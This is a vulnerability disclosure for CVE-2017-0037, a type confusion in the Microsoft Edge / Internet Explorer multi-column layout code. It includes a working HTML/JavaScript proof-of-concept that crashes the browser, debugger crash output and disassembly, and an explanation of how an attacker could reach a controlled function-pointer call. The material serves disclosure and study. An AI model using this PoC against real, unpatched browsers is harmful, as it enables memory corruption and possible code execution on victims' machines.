Microsoft Edge / Internet Explorer HandleColumnBreakOnColumnSpanningElement Type Confusion
Posted on 24 February 2017
Microsoft Edge and IE: Type confusion in HandleColumnBreakOnColumnSpanningElement CVE-2017-0037 PoC: <!-- saved from url=(0014)about:internet --> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> <body onload="setInterval(boom,100)"> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="5" width=0></th> <th class="class2" width=0><div class="class2"></div></th> Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 <a href="https://crrev.com/2" title="" class="" rel="nofollow">R2</a>. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly. The PoC crashes in MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement when reading from address 0000007800000070 (5fc.8a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4: 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? With the following call stack: Child-SP RetAddr Call Site 00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4 00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc 00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5 00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147 00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77 00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d 00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3 00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c 00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102 00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b 00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5 00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7 00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c 00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f 00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58 00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b 00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a 00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb 00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7 00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8 00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be 00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2 00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e 00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue 00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa 00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac 00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3 00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22 00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34 And the following register values: rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050 rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0 rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8 <a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000007916490ec0 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000710e75b980 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00000079164a8f30 <a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000000710e75b928 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=000000710e75c000 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000007916450fc8 <a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=000000791648ec60 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000007911ec9f50 Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address. Let's take a look at the code around the rip of the crash. 00007ffe`8f330a51 488bcd mov rcx,rbp 00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? 00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c) 00007ffe`8f330a5f 488bcd mov rcx,rbp 00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax] 00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi] 00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h] 00007ffe`8f330a74 488bcf mov rcx,rdi 00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)] 00007ffe`8f330a7d 488bce mov rcx,rsi 00007ffe`8f330a80 ffd7 call rdi On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations). On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory. However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls. Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: ifratric
